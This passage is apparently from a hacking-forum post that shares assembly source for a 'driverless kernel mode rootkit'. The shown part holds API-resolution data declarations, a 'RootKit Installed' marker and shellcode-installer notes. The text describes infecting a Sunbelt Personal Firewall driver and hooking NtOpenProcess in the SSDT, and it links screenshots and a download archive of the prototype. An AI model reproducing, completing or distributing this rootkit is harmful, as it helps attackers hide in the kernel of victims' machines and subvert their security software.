aPsGetCurrentProcessId dd 0
aKeServiceDescriptorTable dd 0
aZwOpenProcess dd 0
aPsGetCurrentProcess dd 0
aPsGetProcessImageFileName dd 0
aPsLookupProcessByProcessId dd 0
aObDereferenceObject dd 0
astricmp dd 0
;and here--- keep in order in other words
;<------------------------then they can be referenced in the code like call [ebp+aDbgPrint] etc...

ImplantData:

Ring0Infection db "RootKit Installed ",0
ResolutionNeeded dd 0

;*******************************************************************************
*****************
;DO NOT place anything after this line as these DWORDS are expected to be present by the installer
;*******************************************************************************
*****************

StackSaveAddress dd 0
PatchedFunctionAddr dd 0
PatchedFunctionHash dd 0;<----Must be patched with the hash of API b4 implanting
; so our code implanter must do this

dd 0cccccccch;<--------------------------end marker DO NOT INCLUDE THIS DWORD IN SHELLCODE!!

end Start

Damouse.JPG (see attachment) shows Diagram showing infection of driver and integration into the Operating System

KerioSunbeltDriverImplant.jpg (see attachment) Picture showing SSDT hooks belonging to infected security product driver - Sunbelt Personal Firewall, the NtOpenProcess SSDT hook actually belongs to our rootkit which you can see printing debug information

Screenshots:

http://www.opensc.ws/attachments/bots-rootkits/1241d1197724478-driverless-kernel-mode-rootkit-keriosunbeltdriverimplant.jpg

http://www.opensc.ws/attachments/bots-rootkits/1242d1197724522-driverless-kernel-mode-rootkit-damouse.jpg

Download:

http://www.opensc.ws/attachments/bots-rootkits/1243d1197724650-driverless-kernel-mode-rootkit-damouseprototypeb.zip

Sursa: Driverless Kernel Mode Rootkit

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...